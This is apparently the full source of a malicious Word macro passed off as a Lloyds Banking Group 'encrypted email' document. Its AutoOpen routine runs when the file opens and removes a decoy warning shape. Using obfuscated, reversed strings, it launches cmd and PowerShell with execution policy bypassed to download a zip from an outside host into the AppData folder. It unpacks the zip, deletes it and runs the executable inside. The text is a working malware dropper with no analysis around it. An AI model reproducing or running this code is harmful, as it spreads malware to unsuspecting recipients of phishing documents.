Lloyds Banking Group encrypted email macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    On Error Resume Next
    Workbook_Open
End Sub

Sub Workbook_Open()
    On Error Resume Next
    Dim f1AkoSV3GHc6
    Dim OYJja8p: OYJja8p = False
    For f1AkoSV3GHc6 = 1 To ActiveDocument.Shapes.Count
        If ActiveDocument.Shapes(f1AkoSV3GHc6).AlternativeText = "fkwarning" Then
            ActiveDocument.Protect wdNoProtection
            ActiveDocument.Unprotect
            ActiveDocument.Shapes(f1AkoSV3GHc6).Delete
            ActiveDocument.Range(0, 2).Delete
            OYJja8p = True
            Exit For
        End If
    Next f1AkoSV3GHc6
    If OYJja8p = False Then
        Exit Sub
    End If
    Dim c6t5Nqd7oC: Set c6t5Nqd7oC = CreateObject("WS" & Right(ActiveDocument.Name, 1) & "ript.S" & StrReverse("lleh"))
    ActiveDocument.Range.Font.Hidden = False
    Dim GylnhTIF: GylnhTIF = StrReverse("iz.") & "p"
    Dim uLXz0VFPHK6F: uLXz0VFPHK6F = c6t5Nqd7oC.ExpandEnvironmentStrings("%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe")
    Dim AahxPbiyQZx: Set AahxPbiyQZx = CreateObject("S" & Right(ActiveDocument.Name, 1) & "ripting.FileSystemObje" & Right(ActiveDocument.Name, 1) & "t")
    uLXz0VFPHK6F = Left(uLXz0VFPHK6F, InStrRev(uLXz0VFPHK6F, "\"))
    c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & "mkdir """ & uLXz0VFPHK6F & """", 0, True
    c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & StrReverse("xe.llehsrew" & Mid(Right(ActiveDocument.Name, 2), 1, 1) & "p") & "e " & "-E" & StrReverse(" eliforpon- ssapyb y" & Right(ActiveDocument.Name, 1) & "iloPnoitu" & Right(ActiveDocument.Name, 1) & "ex") & StrReverse("(eliFdaolnwoD.)tneil" & Right(ActiveDocument.Name, 1) & "beW.teN.metsyS t" & Right(ActiveDocument.Name, 1) & "ejbO-weN(") & "'" & "htt" & StrReverse("z.2/ua.moc.puorgwalca//:p") & "ip" & "','" & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & GylnhTIF & "'); (new-object -com shell.application).namespace('" & uLXz0VFPHK6F & StrReverse("'(ecapseman.)noitacilppa.llehs moc- tcejbo-wen((ereHypoC.)'") & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & GylnhTIF & StrReverse(")61,)(smetI.)'"), 0, True
    Kill c6t5Nqd7oC.ExpandEnvironmentStrings("%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe") & GylnhTIF
    c6t5Nqd7oC.Run StrReverse("e.dm" & Right(ActiveDocument.Name, 1)) & "xe" & StrReverse(" " & Right(ActiveDocument.Name, 1) & "/ ") & "start """" """ & "%APP" & StrReverse("e.2\etadpUdnW\%ATAD") & "xe" & """", 0
    ActiveDocument.Save
End Sub